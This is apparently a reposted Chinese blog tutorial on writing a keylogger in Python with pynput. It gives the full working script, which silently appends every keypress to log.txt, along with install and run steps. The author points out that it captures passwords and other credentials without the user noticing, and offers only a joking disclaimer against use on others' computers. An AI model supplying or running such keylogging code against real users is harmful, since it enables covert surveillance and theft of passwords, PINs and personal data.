用 Python 做一個(gè)按鍵記錄器
按鍵記錄器,就你在電腦上的每個(gè)按鍵,都會(huì)被記錄下來(lái),可以進(jìn)行操作追蹤,當(dāng)然了,你在網(wǎng)站上輸入的用戶名密碼等敏感信息也會(huì)被記錄下來(lái)。用 Python 實(shí)現(xiàn)這個(gè)可以說(shuō)非常簡(jiǎn)單,不過(guò)這玩意請(qǐng)不要用在別人的電腦上,哈哈。
教程
pynput 模塊可以幫助我們實(shí)現(xiàn),不過(guò),這不是標(biāo)準(zhǔn)庫(kù),因此需要 pip 安裝一下:
- pip install pynput
然后編寫(xiě)下面的 11 行代碼,保存為 key_track.py
- from pynput.keyboard import Listener
- def write_to_file(key):
- letter = str(key)
- letter = letter.replace("'", "")
- with open("./log.txt", 'a') as f:
- f.write(letter)
- if __name__ == '__main__':
- with Listener(on_press=write_to_file) as l:
- l.join()
在命令行執(zhí)行這個(gè)腳本:
這個(gè)提示告訴我們要在系統(tǒng)設(shè)置里面允許程序訪問(wèn)鍵盤(pán)記錄,對(duì)于 MacOS 就是這里:
然后輸入按鍵,就可以在 log.txt 中看到按鍵記錄,按鍵被記錄時(shí),你不會(huì)有任何異常感覺(jué):
最后的話
本文分享了一個(gè) Python 按鍵記錄器腳本,這可用于攔截通過(guò)鍵盤(pán)輸入的密碼和其他機(jī)密信息,對(duì)用戶構(gòu)成嚴(yán)重威脅。網(wǎng)絡(luò)犯罪分子可以由此獲得電子支付的 PIN 碼和帳號(hào)、密碼、電子郵件地址、用戶名和其他個(gè)人信息。
如果覺(jué)得本文有幫助,還請(qǐng)給個(gè)在看,感謝你的支持。
本文轉(zhuǎn)載自微信公眾號(hào)「Python七號(hào)」,可以通過(guò)以下二維碼關(guān)注。轉(zhuǎn)載本文請(qǐng)聯(lián)系Python七號(hào)公眾號(hào)。